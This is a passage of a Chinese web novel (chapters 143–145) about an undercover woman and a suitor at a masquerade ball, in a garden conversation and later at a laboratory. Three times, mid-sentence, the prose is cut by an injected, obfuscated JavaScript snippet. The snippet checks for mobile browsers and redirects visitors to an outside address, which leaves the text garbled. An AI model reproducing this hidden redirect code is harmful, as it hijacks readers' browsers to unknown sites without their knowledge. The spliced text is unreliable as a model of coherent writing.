马上就要进入中场晚宴,而之前看到元之荞与各两院领导以及钟以墨交流,都以为元之荞是一个带有资源的女人,于是她也变成了一个香饽饽,不断有男士上来搭讪。 对此,元之荞一开始还能应付几句,对上态度友好且英俊的男人,她也能侃侃而谈,但元之荞实在不热衷于社交,没过多久就感到了疲惫,等她了解完自己想知道的东西,就立刻装起了不太懂英文,不是笑笑就是手语比划,有效地逼退了后面的男士。 元之荞与和别人说话的时候,钟以墨也在注意着她,他这样的行为毫不掩饰,在其他少女眼中意思自然不言而喻,于是钟以墨也顺利减少了一部分追求者。 晚宴时,钟以墨故意坐到了元之荞斜对面,他身边都是科学院的人,但钟以墨举止自然,神态自若,丝毫察觉不到不到自己的格格不入。科学院的人多以为钟以墨是来挖元之荞的,安全局的人则会多想一些,但看元之荞对钟以墨没什么交流,只觉得这更像一场男女之间的追逐游戏。 元之荞自然注意到了钟以墨的视线,但过度社交的疲惫影响了她,故而暂时不想与钟以墨再说什么,只专心吃饭。 两人就这样以自己的态度僵持了许多,钟以墨败下阵来,他拿着柔软的餐巾擦了擦嘴角,与身边人说了什么,然后起身离开。 在下一道餐送上来时,元之荞再抬头,发现钟以墨的位置空无一人,她下意识寻了寻,却看到钟以墨坐回了他原本所在的位置。 从斜下方,重新回到了更接近女王的斜上方。 元之荞撤离目光,事情如她所愿,可不知为何,心绪却不如她所想。 正餐结束,开始上餐后甜点。元之荞已经吃饱,故而不准备再动叉。 第一道是苹果派,银白镶金边的盘子中,盛着一个拳头大小的馅饼,而烤得焦酥的菠萝纹格子中,隐约能见里面镶嵌着大块的苹果粒。 元之荞把盘子放到一边,准备提前结束晚宴,一旁的侍者见到,急忙上前两步,小声地阻拦她:“尊贵的女士,这份苹果派是我们大厨的得意之作,若您可以,还请试着品尝一番。” “不了,”元之荞看向侍者,笑着拒绝,“感谢款待。” 侍者脸上的焦急更明显了,他一时半会不知该拿什么理由劝说元之荞,只好又重复了一遍,元之荞猜到这个苹果派应该有什么,于是拿起刀叉,勉为其难道:“既然如此,我就尝一口吧。” 侍者如释重负,他借着倒酒的动作帮元之荞遮掩,以免被旁人看到。 元之荞快速下刀,赫然发现苹果派下压着一张纸条,而纸条上的文字用的是国语。 143. 第 143 章 [舞会后,花园前] 元之荞看清上面的内容,然后把纸条连带半块苹果派,一起扔进了手边的奶油汤中。她用汤匙搅拌一会然后轻轻捞起,发现字迹变得模糊不清,这才停下了手。 “谢谢你的推荐,很好吃。”元之荞谢过侍者,洁手后再次戴上手套,离开了餐桌。 在远处盯着元之荞的凯瑟琳见状,当即也离开了座位,追上元之荞:“塞西莉亚小姐,您这是要去哪?待会就要假面舞会了,这时候可不能离开啊。” 元之荞接过凯瑟琳递来的黑色面具:“你不是说我吃胖了不好看吗?饭后走走,消消食,对了凯瑟琳,你知道庄园哪里人少又适合散步吗?” 凯瑟琳说了几个她刚了解的地方,又旁敲侧击地问询元之荞有没有遇上心仪的绅士。 元之荞一边记下地方,一边敷衍凯瑟琳,并有意无意地询问花园在哪。她对纸条的主人有所猜测,但真是钟以墨的话,她却还未想好要不要赴会。 “塞西莉亚小姐,您还记得交换舞步吗?”凯瑟琳看元之荞一脸不在意的样子,心中担忧。如果前面两场表现不好,但只要最后一场舞会发挥不错,也能挽回不少形象,但若连假面舞会也搞糟,那元之荞几乎就没机会融入上层阶级了。 那她就白忙活了! 见元之荞并未回复,凯瑟琳不由得又问了一句:“小姐,您在想什么呢?” 元之荞:“在想什么时候下班。” “什么?”凯瑟琳以为自己听错了话,也怕元之荞真的找机会躲舞会,便等元之荞逛完就强制带她回去,一路上也不住叮嘱元之荞交换舞的细节。 主舞会在城堡,餐桌撤去,留出相当宽阔的场地,四周则摆上了整齐的椅子与小桌,供宾客们临时休息。 女王站在就餐的高台上,正在发表简短的祝词,而凯瑟琳带着元之荞,终于在这个时候赶到。 话音结束,掌声响起,乐手们拉起小提琴,演奏者弹起钢琴,一首雀跃的舞曲在水晶吊灯下悠扬飘转,绅士们纷纷站到淑女面前,弯腰伸手,希望能邀请对方共舞一支。 元之荞身前站着的是一个年轻贵族,他穿着深蓝色的西服,剪裁简单,但面具却很华丽,镶嵌了各式各样的彩色钻石。 “美丽的女士,不知我能否有这个荣幸,邀请你跳一支舞?”他一开口,元之荞就凭借声音认出了人。 霍华德小公爵,正是之前与她搭讪的男人之一。霍华德对她的态度一向不错,元之荞不介意给他一个面子。于是她提裙回礼,扶上了男人的手臂:“提前说明,圆舞曲我只学了一小时。” 霍华德笑了,轻轻扶上元之荞后腰:“没关系,我教你。” 脚下是白色交织着金色的地砖,四周支撑的圆柱满是金色的浮绘,顶上灯珠硕大,光芒耀眼。如此的环境下,淑女们多选择白色或者其他浅色靓丽的礼裙,即使是深色系,她们也会选择缎面的烟灰,或者带闪的纱棕,不会像元之荞一样挑纯黑色,减小自己的存在感。 或许是这样的特殊,霍华德注意上了元之荞,并且因为她淡然疏离的态度,霍华德对她的兴趣愈发高涨。 借着攀肩搂腰的转圈,霍华德在元之荞耳边低声细语,轻言询问她的家世与经历,元之荞有的会答,有的则直接错步踩上一脚,用失误含混过去。 第一节跳完,两人相互行礼分别,接着是淑女们走向中间,绅士们站于两旁。 淑女们将会贴手跳女步,而当她们完成一小节转圈,所有人将会交换舞伴。 元之荞与白色礼裙的淑女别分,当她回身走向男伴时,却发现站在自己对面的人十分熟悉。 钟以墨单手背在后腰,得体的燕尾西装衬得他身姿修长,英俊挺拔,他面上戴着一副黑色的蝴蝶面具,微卷的头发拂在耳边,看不太清面容,但元之荞能清晰地感觉到,他正专注地看着自己。 钟以墨望着元之荞缓缓走来。 她穿着黑色的抹胸长裙,露出漂亮的肩颈线条,礼裙掐腰,在钟以墨眼里甚是惊艳。虽然颜色与款式都相对简单,但钟以墨却觉得元之荞十分华丽,在场的女宾中,他也总是能一眼便锁定她的位置。 她面具上的浅金与黑发上的盘枝金叶,犹如点睛之笔,称得她仿若是夜幕里的月亮女神。 她逐渐靠近他,他心里逐渐紧张。 两人一步之距。 他伸出手,微微低头。 她搭上手,稍稍屈膝。 她感受到他的动作很轻,应是扶腰的姿势,他却将手掌贴到了她的后背。 他透过面具看向她,看到她琉璃的眸子,正倒映着自己的身影,他忍不住笑,也忍不住轻声夸赞:“你穿这身很漂亮。” 她也看着他,客套地回了一句:“你也是。” 钟以墨的眼睫弯了起来,嘴角抿出好看的弧度,元之荞看到这样的他,再次想起了凯瑟琳的话。 [等你恼了、厌了,不再搭理他了,他却反过来赶着,给你写信,给你送礼……在他的话里,你好像是完美无缺的仙女] [你的心会跟着他七上八下,你会琢磨不透他的意思,也会琢磨不透自己的意思] 元之荞扶着钟以墨的手蓦然用力,又是这样的神情,又是这样的目光。 她快速移开视线,看向他胸前的宝石别针,想要用自己客观理智的那面思考。 而钟以墨见到元之荞这样,还以为是她忘了舞步,于是故意放慢步调配合她。 元之荞不是什么迟钝的人,她注意到了钟以墨的动作,也注意到他们这对已经完全跟不上曲调节拍,像是整齐南飞雁队中落后的鸟,变得格外突出,但钟以墨却不在乎这些,只自顾自地与她跳得高兴。 元之荞也不是什么迟疑的人,她能看出李成和杨黛之间心照不宣的感情,自然也能看出钟以墨对她的好感,而她自己也知道,她对这样感情并不是毫无波澜。 她知晓自己一开始的动容意味着什么,知晓钟以墨蓄意接近的目的后,自己的波动意味着什么,也知晓自己猜到钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450358|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以墨不是完全的敌人时,心里的忐忑又意味着什么。 可她厌倦了你来我往的试探,她对待感情,向来都是直来直往。 元之荞:“你……” 钟以墨:“你……” 二人同时出声,钟以墨见状,低声一笑,脚步不自觉轻快了起来:“你先说。” 元之荞想了想:“苹果派的纸条是你放的?” “是。”钟以墨毫不犹豫。 元之荞:“你想我回去?” “是。”钟以墨同样坚定。 “为什么?”她问。 第二节快要结束,男步后退,带着女步走向自己。 他也想了想,笑道:“因为元叔叔要我去做客,你若是不在,他会没心情招待我。” 元之荞知道钟以墨说的是借口,但这个借口,却并没有让她感到说谎时的冒犯。她看向他们相触的指节,他的手虚虚地握着她,并不相扣。 他总是这样先一步靠近自己,可又总是这样,小心翼翼,不会再进一步。 “我能信你说的话吗?”她抬眼,直视他。 “能。”他低眸,回视她。 元之荞笑了,主动握上钟以墨的长指:“你这样,转圈能接得住我吗?” 钟以墨也笑了,回握上元之荞的纤指:“刚才不能,但现在能。” 元之荞顺着音乐提裙转圈,在钟以墨的牵引下回到他的怀里,他见她转得开心,于是提手,带她又多转了一圈。 “你会跳吗?”元之荞脸上的笑意未减,故意调侃钟以墨,“我不会跳还有理由,但你跳得和别人不一样,可是会被嘲笑的。” 钟以墨眼中的笑意渐浓,或许是舞会的氛围,此刻的他并不想掩饰真心:“我不在乎,只要你高兴就好。” 元之荞低眸浅笑,松开了钟以墨的手。 第二节结束,两人相互行礼。 从第三节乐章开始,便是自由华尔兹。淑女们可以选择继续跳,也可以选择下场休息,而绅士们可以选择下场邀请舞伴,也可以在舞池中选择继续交换舞伴。 无疑,元之荞选择了后者。 她扫过周围,趁身边人影遮掩了盯梢人的视线,她马上提起裙裾,离开了主舞宴会。 钟以墨也知道她会去哪,于是借着方便为由,快速拒绝了场上淑女们的邀请,然后从另一边追着元之荞出去。 城堡外草坪也是舞会的场地之一,这里热闹非凡,造型别致的电灯伫立于各处,营造着朦胧暧昧的气氛。 元之荞摘下面具,因为高跟鞋不算方便,所以她比钟以墨还晚一步到达花园。 钟以墨同样取下了面具,他见元之荞来,便伸出胳膊,试着搀扶元之荞,元之荞按上钟以墨的手臂,仔细跨过石阶。因为时间不算宽裕,所以她先开了口:“钟以墨,”元之荞决定直接询问,不再绕圈,“我能问你几个问题吗?” “问吧。”这个开头让钟以墨有些忐忑,他的手指不自觉地蜷起,等待着元之荞的问话。 144. 第 144 章 “你知道我是谁,对吗?”元之荞看着身侧的钟以墨。 钟以墨心里咯噔一下,猜到了元之荞的言外之意。她若是不问,他还可以揣着明白装糊涂,可她若是摊牌,他便知道自己再也装不下去了。 钟以墨叹了口气:“是,我知道你是乌麦,也知道是安全局的人抓了你。” 得到预想中的答案,元之荞仍是忍不住心中一凉。 “还有呢?”她问。 他听见她的问话,转过脸,看向她。 月色在她眸中流转,泛起清冷的光。 “我还知道你是史密斯夫人。”他说。 元之荞眼底的惊讶一闪而逝,她没想到钟以墨会说这个,也算是一个意外收获:“什么时候知道的?” “第一面,”钟以墨扭过脸,他不想从元之荞脸上看见对自己的负面表情,于是望向面前的蔷薇花墙,“那天我离开后,遇上了你挂名公司的老板,他说起你时,让我对你的身份产生了怀疑。” “不过你放心,塞西莉亚·史密斯这个身份,在国内仍是安全的,你回去以后依旧能安心使用。” 元之荞轻笑一声:“还真巧。”她想起他说他们很有缘的话,现在看来,他们也许真的有缘。 “不过我也说了,暂时不想回去。”元之荞转头,将视线同样投向花墙。初秋的英国已经开始寒凉,即使无风,娇粉的花瓣也瑟缩着,仅零星地开上几朵。 “为什么?”钟以墨追问,脚步不自觉地往元之荞身边挪了半步。 “我的问题还没问完,”元之荞偏过脸,看向钟以墨,见他抿上嘴,她才继续说,“你如何知道我是乌麦?” 听到这个问题,钟以墨沉默了。 “为什么不回答?”元之荞蹙起眉。 元之荞听到他小声地叹气,很轻,像消散在空气里的雾,他避开了她的视线,侧脸硬朗:“之前你问我‘能不能相信你说的话’,我说‘能’,所以现在,我不想编理由骗你。” 他的话语依旧很淡,元之荞的心却不受控制地触动,她也感到,自己的理智正竭力地克制这样的意动,她眼睫微颤:“你……是蓄意接近我吗?” 就像你在市政楼说的那样,因为知道我是乌麦,所以在故意靠近、故意试探? 又因为一开始的演戏,所以你的好感或真、或假,那些真情与假意,皆是对半? 钟以墨倏地握紧指节,同样敛下眼眸。 我该告诉她吗?我又该告诉她什么呢? 若我把实情说出,她会信吗……若她不会,定会想办法调查我所说是真是假,到那时,不仅我的身份会暴露,她也会因我所累。 舞会的乐曲仍在继续,欢声笑语伴着小调,虚虚实实地从远处传来,很远,也很近,像是看不见的秋风,时不时地撩起她的裙角,拂向他。 他低头看向他们,她可能没发现,她总是习惯与自己保持一步远。这样的距离不会太近,也不会太远,却刚好让他看不清她的心意。 他看向她,知道自己接下来说的话,将会让她离自己更远。 “是。” 元之荞沉默了,她肩膀不自觉颤了颤,不知是因风凉,还是因话凉:“与电子干扰设备有关?” 钟以墨想了想,这的确也是其中一个原因:“是。”但他也敏觉地捕捉到元之荞话语中的不同,不知为何,他觉得此刻若不说清,她一定会决绝地离开他。 害怕裹挟着冲动,钟以墨不再多想,一下握住了元之荞的手腕,语气郑重:“但我绝不会伤害你,任何时候。” 元之荞淡笑一声,迎上钟以墨的目光:“既然知道我是乌麦,那你就知道我也参与情报工作。那些说真话的人我尚且都会查验一番,何况像你这样什么都不说的。” 你让我如何信你,钟以墨? 钟以墨下颌收紧,瞳孔里有元之荞看不懂的苦涩与情愫。 元之荞眼里的涟漪消去,既然知道答案,她就不想与钟以墨多作纠缠。 元之荞转了转手腕,示意钟以墨放手。 钟以墨手指微张,还未松手,就感到元之荞从他掌中抽离,而这时,他才发觉元之荞的皮肤冰凉,她应是觉得冷了。 “我没什么事了,钟先生要是也没事的话……”元之荞手臂环交,一副拒绝的姿态。 “你不信我,就利用我吧,”钟以墨快速打断元之荞的话,他脱下西装外套,披到元之荞肩膀上,声音轻柔,“我把我手上的资源都交给你,包括雇佣的宪兵指挥权、车辆使用权以及侦探查到的线索,”他释怀地笑了笑,“既然你是乌麦,就一定知道我给你的这些是真是假、有没有埋下陷阱。当然,你也可以用这些查我。” 元之荞看到钟以墨左手腕上有什么红色与金色的东西一闪而逝,但还未看清,就见钟以墨把手插进了西裤的口袋,手腕上的东西也随之被衣袖遮掩。 她感到肩膀一沉,然后是混合着体温的外套盖了上来。 鸡皮疙瘩瞬间而起,又瞬间平复。 很暖,她在心里想。 “为什么?”她忍不住问。 “因为这里很危险,你留在英国的时间越久,就越难离开,”他看向她,退回一开始他们的距离,“既然你不信我,也不愿意我带你回去,那至少能利用我提供资源,让你自己安全回去。” 元之荞握住了手边的西装衣领,几次欲言又止。 而钟以墨静静地看着她,像是等待着她的回复。 “为什么?”问出这个问题后,元之荞才发现自己不知道要问什么,也不知道自己想要什么答案。 钟以墨思量几许,嘴角勾出一个极浅的笑,然后长呼一气,看向面前的寂寥的花蕾。 白日里应该明艳的蔷薇,如今在这夜色中,却成了一团模糊的浅影,既辨不出形状,也瞧不清颜色。他其实不知道该回答些什么,便顺着自己的心意说了下去:“不为什么,大概是希望,你能给我一个机会……” 他的侧颜宁静,轮廓清晰:“等到有一天,我能把知道的都告诉你,到那个时候,”他回眸注视着她,星光似住进了他的眼中,闪烁流溢,“你再拒绝我,好吗?” 元之荞清楚地听见自己心脏的咚咚响声,她有些明白为何杨黛拒绝了李成,他们俩还会牵扯好几年。 因为刹那的心动不受理智控制,因为长久的欢喜与人有关。 她没想到自己也会有落于俗套的那天,也会有手足无措的那刻。 四周沉寂了下来,应是一首曲子舞毕。元之荞静默着,而钟以墨听不到她的答复,手不自觉地揪起了裤子内袋,不住在指尖揉捻。 元之荞看出了他的忐忑,每次到这个时刻,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465181|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总觉得他分外真实,毫不费力便能看到他的内心。她颔首莞尔,先一步移开了视线。 元之荞极少冲动做出什么决定,但这次,她想试着相信钟以墨说的话。 “我不想从英国离开,”她没有回答他的问题,而是说起了别的事情,“我准备从丑国离开,丑国有个学术交流会,等了解完丑国的信息科技水平,我再离开。” 虽然试着相信,但元之荞仍然有所保留,不会对钟以墨和盘托出。 听到元之荞的话,钟以墨瞬间就知道她答应了,他的话语一下变得雀跃起来:“这个峰会我也知道,如果你不介意,可以加入诺兰实验室。我能把你加入出行名单,也能利用职务之便给你提供丑国的行径路线,和暗中离开时的车辆、器械装备。” “好啊。” 钟以墨没想到元之荞这么快能同意,面上的欣悦霎时冒了出来,他刚扬唇,身后就幽幽响起了保罗的声音:“克伦威尔先生、塞西莉亚女士,我没打扰二位吧?什么事聊得如此开心?” “已经打扰了,”钟以墨收起笑容,转身看向保罗,语气是毫不掩饰的不虞,“保罗先生,我正要劝说塞西莉亚小姐加入我们诺兰实验室,而气氛刚好,塞西莉亚小姐也刚对实验室感兴趣,您突然出现,恕我直言,真是不合时宜。” 保罗尬笑一声,他到这个年纪,很少被人如此当面指责,面上顿时有些难堪,于是转移炮火道:“是吗,塞西莉亚女士?” 元之荞对诺兰实验室相当排斥,怎么可能会对诺兰实验室感兴趣?等着吧,这个东方姑娘的嘴可不会绕过任何一个人。 “是啊。”元之荞点头。 “什么?”保罗惊讶,接着就见元之荞继续说:“我已经决定加入诺兰实验室了。” “什么!”与保罗一样震惊的还有钟以墨,不过与保罗不同的是,钟以墨听到元之荞这个决定后只剩兴奋。 保罗挽尊地呵笑几下:“那个……塞西莉亚女士,你不准备多考虑一下吗?” 元之荞裹紧西装外套,态度果断:“保罗先生,我已经考虑得很清楚了。” 保罗被这两人弄得哑然,他略带气愤地看看钟以墨,又有些怀疑地看看元之荞,最终还是决定从钟以墨下手:“塞西莉亚女士,我以一个有些阅历的长辈好心提醒你,克伦威尔先生这样做,完全是因为他的实验室现在正遭受舆论袭击,诺兰实验室的主理人被接二连三地调查,其内部……” “保罗教授,”钟以墨不耐烦地再次打断对方,“我想你弄错了,我劝说塞西莉亚小姐加入诺兰实验室,虽然确有看中她才能的那部分,但最主要的,还是我希望能借用职务之便,可以每天看见她。” “以您的阅历来看,难道还看不出我正在追求这位淑女吗?”钟以墨借着玩笑的口吻,说出了心里话,“您再多言,就未免太不解风情了,这哪算是‘好心提醒’?” 保罗被气得吹胡子,他想敲拐杖,可惜现在手中什么也没有。 钟以墨见状,对元之荞做了一个请的手势:“外边风凉,塞西莉亚小姐回里面避避风吧,”他用眼神示意元之荞离开,保罗由他来应付,“对了,草坪供应的饮品中,‘星光’非常漂亮,小姐若是感兴趣,可以去喝一杯。” 元之荞笑笑,答应了,然后对保罗露出一个礼貌的笑,提裙离开了花园。 145. 第 145 章 “凯瑟琳,我去诺兰实验室上班你也要跟着?”元之荞走在前往实验室路上,而她身边除了安全局派来的监管警卫,还有一个凯瑟琳。 “小姐,请您见谅,”凯瑟琳知道无论自己扯什么理由,都会被元之荞看穿,于是干脆说了实话,“保罗先生知道您要去丑国,所以希望我这段时间看紧些。” “假如我要做实验,你也要跟在一旁?”元之荞看着凯瑟琳,在心里思考甩开对方的方法。 “这倒不会,”凯瑟琳笑笑,“我对科学不了解,待在一旁可能会给您添麻烦,保罗先生说了,让我待在您工作旁边的屋子就行。” 元之荞瞟了一眼身边的景色,有意无意地说道:“一个安全局,一个科学局,我可真令人紧张啊。” 英国有很多华美精致的建筑,也有很多砖红色的房屋,却因较少出现艳阳,元之荞总觉得这里寒冷,像被无端蒙上了一层凉灰色的滤镜。她紧了紧风衣的领子,将手插进宽大的口袋,思索昨晚钟以墨秘密交给她的资源中,有哪些可以安心地用在自己即将实施的计划上。 “买鱼吗?女士买鱼吗?”一个戴着贝雷帽的小男孩举着一条金鱼,不断询问过路的行人。 “买鱼吗?”男孩走到了元之荞面前,刚想叫卖,就被元之荞与众不同的面容看愣了,他眨了一下眼,像是看清了元之荞并非本国人,这才问道,“尊敬的女士,您要买鱼吗?” 凯瑟琳:“小孩,我们不买……” “怎么卖?”小男孩让元之荞想起了元知宁,她有些不忍,于是打断了凯瑟琳的话。 男孩高兴地把手举得更高,像是要让元之荞看清手中的鱼:“五英镑。” “五英镑?”凯瑟琳惊讶得瞪大双眼,“孩子,你知道五英镑在市场里可以买多少这样大小的鱼吗?整整一箩筐呢,而你这鱼不过拇指大小,还只是一条,竟也敢卖如此昂贵的价格?” 小男孩不悦地嘟起嘴,辩驳道:“这是海葵鱼,是我爸爸从海上捞来送我的,也是我最好的朋友,不是用来吃的。” 凯瑟琳皱起了鼻子,觉得眼前的孩子简直在异想天开,就算是有钱没处花的贵族,也不会花五英镑买一条既不能吃也不好看的观赏鱼。 “既然是你最好的朋友,为什么要卖?”元之荞弯下腰,看着透明塑料袋中的海葵鱼,这种类型的鱼统称小丑鱼,因年幼时与海葵共生,故而别名海葵鱼。 海葵鱼通身橘红,脑袋后与腰身有一条白色的裙带,使用了黑色勾边,甚是可爱。小男孩也顺着元之荞的视线看向海葵鱼,眼中不舍:“爸爸病了,需要五英镑治病,所以只能卖掉它。” 海葵鱼在清澈的袋子里游着,扁平的身子靠近塑料袋,一脑袋撞了上去,发出极轻的扑簌声,元之荞见状,心中蓦然一动,放在口袋里的手也不自觉地捏起:“我买了。” “小姐?”凯瑟琳震惊地看着元之荞。 元之荞起身,从钱包中取出一张10英镑的纸钞:“给你爸爸治病吧,多的算我给你的小费。” 小男孩兴奋地谢过元之荞,接了钱,小心翼翼地把海葵鱼交给元之荞,又恋恋不舍地看了一眼:“美丽善良的女士,您一定会被上帝保佑的。” “小姐,您买它干什么?”等男孩蹦跳着离开,凯瑟琳便一脸莫名地看向元之荞,而此刻的元之荞正托着袋子,仔细地观察里面的海葵鱼。 很健康,游动的样子也很活泼,看来被小男孩照料得很好:“没什么,只是觉得与它有些相像,所以买了。” “相像?”听到元之荞的话,凯瑟琳倍感奇异,她盯着那条小小的鱼,“哪里像了?” 元之荞并不回答,而是带着它继续走向实验室。 它的确像我,坦诚也好、决定也罢,感情的困境却不会因此减少一点,就像这只活在袋子里的海葵鱼。周围的边界看似是透明的,可我与它,都没法出去。 * 钟以墨一早就在诺兰实验室的大门口等着了,等他见到元之荞出现,马上就从保安岗走了出来。 “送给你,塞西莉亚小姐,”钟以墨将手中的粉蔷薇递给元之荞,正是假面舞会那晚,他们在花园见到的品种,“欢迎你来到诺兰实验室,也希望你能够喜欢。” 元之荞接过了花,与那晚不同的是,这一大束蔷薇花开得正是繁盛,她对上钟以墨的笑眼,不曾发觉自己的眸中也带上了笑:“谢谢你,克伦威尔先生。” 钟以墨的忐忑稍稍平复下来,他走到元之荞身边,开始介绍实验室里各个部门以及工作机制。“对了,塞西莉亚小姐,”钟以墨注意到了元之荞手中的鱼,“那是什么?” 元之荞把袋子提起来:“你说这个?”她笑了笑,“这是我刚买的海葵鱼。” “你喜欢这个?”钟以墨看着里面游动的小鱼,有些诧异,他从未知道她还有这样的一面。 “喜欢,”元之荞放下袋子,一边观察实验室内的布局,一边补充道,“也不喜欢。” 她喜欢它本身,却不喜欢它的处境。 钟以墨有些疑惑,不明白元之荞说的是什么,准备换个话题,就见元之荞看向了他:“克伦威尔先生喜欢吗?” 钟以墨对上元之荞那双沉静的眸子,嘴角不自觉扬起:“自是喜欢。” “那就送给你吧,”元之荞把海葵鱼递了出去,“不要养死了。” 如果她有这样的困境,那她绝对不要长期保留。 钟以墨怔愣地接住海葵鱼,不知事情怎么就变成了这样,袋子冰凉的触感让他回神,他低头望着那条橙红的身影:“送我了?” “嗯,”元之荞走过钟以墨身边,发现了一排机房,她的兴奋瞬间冒了出来,电脑才是她的老本行啊,元之荞转头看着钟以墨,“你送我一大束花,所以我回你一只小海鱼,不行吗?” 钟以墨目光变得温柔起来,这还是她第一次当面送自己礼物,他的笑容绽开:“当然行,我会好好养,不会养死的。” 元之荞的喜悦更明显了一些:“克伦威尔先生,我能参观一下你们实验室的电脑吗?” “当然能,”钟以墨眉梢的欣悦也更清晰了些,“不过在这之前,我想先把实验室的成员介绍给你。” * 还有十天才到峰会的日子,但钟以墨担心诺兰被安全局放出来后会捣乱,于是提前准备元之荞和实验室的人去丑国,也能给元之荞多一些时间探查地形。 因此,元之荞这几天就肉眼可见地忙了起来。 她无意在诺兰实验室站稳脚跟,所以她既未在其他科研教授面前出风头,展露自己的才能,也没有加入原本的科研小组,而是自己成立了一个技术项目,预计在丑国回来后“正式启动”。 科学局的人想插手,安排助手进去,但钟以墨暗中拦着,也在明面上延缓对方动作,所以科学局答应了等“项目开始”,再正式接受元之荞的考核进去的计划。 元之荞结合钟以墨给的信息,以及对丑□□会的一些了解,大致做出了营救计划,但具体细节还需要她亲自到丑国勘测,以及与两位专家接触后,才能再做调整。 除此之外,元之荞还借着钟以墨的掩护,见缝插针地在实验室里敲代码,做着事前准备。 另一边的钟以墨,除了处理必要的人际关系、暗中准备元之荞需要的东西,剩下的,便是在家养鱼。 他把海葵鱼养在了一个极大的鱼缸里,并搬上了海葵与水草,也给它取了名字——玛卡。 “先生,莉莉小姐带着她的朋友上门访问了。” 钟以墨看着鱼缸中自由自在的玛卡:“她说来干什么吗?” “莉莉小姐说给您带了礼物。” 钟以墨叹了口气:“让她进来吧。” 当莉莉与格蕾丝被管家领进门时,见到的就是钟以墨坐在鱼缸前赏鱼的一幅情景:“表哥?你什么时候养了鱼?呀,还是这么小一条。” 钟以墨转身,对两位女士行了一个简单的绅士礼,纠正道:“不是买的,是送的。” “谁送的?送这么小?也太小气了。”莉莉撅着嘴,眼里不屑。 钟以墨收敛了客气的笑容,而格蕾丝见到钟以墨神色不对,当即出来打圆场:“这小鱼真漂亮,克伦威尔先生,不知是什么品种?” “玛卡是一条鲈形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481827|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目雀鲷科海葵亚科鱼。”钟以墨专门查了它的来历,说起来头头是道。 格蕾丝却注意到了“玛卡”这个名字,她的心脏骤然一缩,望着钟以墨满目欢跃地聊起那些枯燥的鱼类知识,心中隐隐有了一个不想面对的猜测:“克伦威尔先生……”她忍不住打断钟以墨,“请问这条鲈形目雀鲷科海葵亚科鱼……” 格蕾丝不是一个踟蹰的女孩,她对爱情一向都采用直进的态度,但在出口前,她仍是犹豫了。 “什么?”钟以墨主动提起了话题。 莉莉看向格蕾丝,有些困惑:“怎么了,格蕾丝?有什么想问的你就问吧,利亚姆表哥会回答你的。” 格蕾丝咬了咬下唇,鲜艳的唇上印出一道白痕:“这条鱼,是不是一位女性赠与先生的?” “是。”钟以墨并没有隐瞒。 果然,格蕾丝的目光黯淡了下去,“玛卡”这个名字,有向往爱情的意思,看来克伦威尔先生已经有心仪的女士了。 “谁?”莉莉听到这话反而有些惊讶,“利亚姆,你不是从不收淑女们的礼物吗?”她边说边上前,指着那条被吓得躲进珊瑚丛中的海葵鱼,“所以这是姨妈送的吧?” 钟以墨皱眉,拍掉了莉莉的手:“不要做出如此粗鲁的举动,这是塞西莉亚小姐送的,正是假面舞会上你们见到的那位黑发淑女。” “什么?”莉莉的声音直接大了一倍,“你答应那个东方女士的追求了?” 钟以墨面上隐隐有些不耐烦,他打定主意,这次之后,若非正事,他不会再让莉莉·史密斯上门了,钟以墨再次纠正:“不是她追求我,是我在追求她。” 莉莉突然回头看向格蕾丝,果然在格蕾丝脸上看到了失落的表情,莉莉不愿意自己最好的朋友难过,她还希望自己最好的朋友能够成为自己的嫂子,然后一直与自己住在一起呢! 莉莉急切地看向钟以墨:“那你……” “还没有,”钟以墨知道莉莉要问什么,于是叹了口气,耐心说明,“我给她送了很多东西,之前不接受未婚妻也是因为她,当然,我也为了她漂洋过海。后来她来到了英国,于是我又追着她回到了英国。” “虽然花费了很多力气,可我依旧没得到她的答应,但我相信,总有一天我能打动她,”钟以墨说得相当直白,不顾莉莉脸上微愠的表情,继续道,“所以莉莉,你以后不要再给我介绍淑女了,作为家人,我知道你们都操心我的婚事,但这事,我自有定夺。” 莉莉快速望了一眼格蕾丝,随后又气愤地冲着钟以墨,想要强行替自己朋友挽尊:“哼,逗狗还给零食呢,你就只得了这么可怜的一条鱼,我看你就和这鱼一样,真是悲哀!”她拉过格蕾丝的手,“走,我们出去,不听他胡言乱语了。” 格蕾丝顺从地跟着莉莉离开了,等出了庄园门口,莉莉才软下表情,十分愧疚地对着格蕾丝:“抱歉,是我看错了利亚姆,他才不是全英国最好的男人,我……” “没事的莉莉,”格蕾丝已经换好了心情,“虽然有些可惜,但也只是可惜而已,”她笑了笑,“不过莉莉你说得对,全英国的好男人,可不止只有克伦威尔一个,其实假面舞会上霍华德小公爵……” 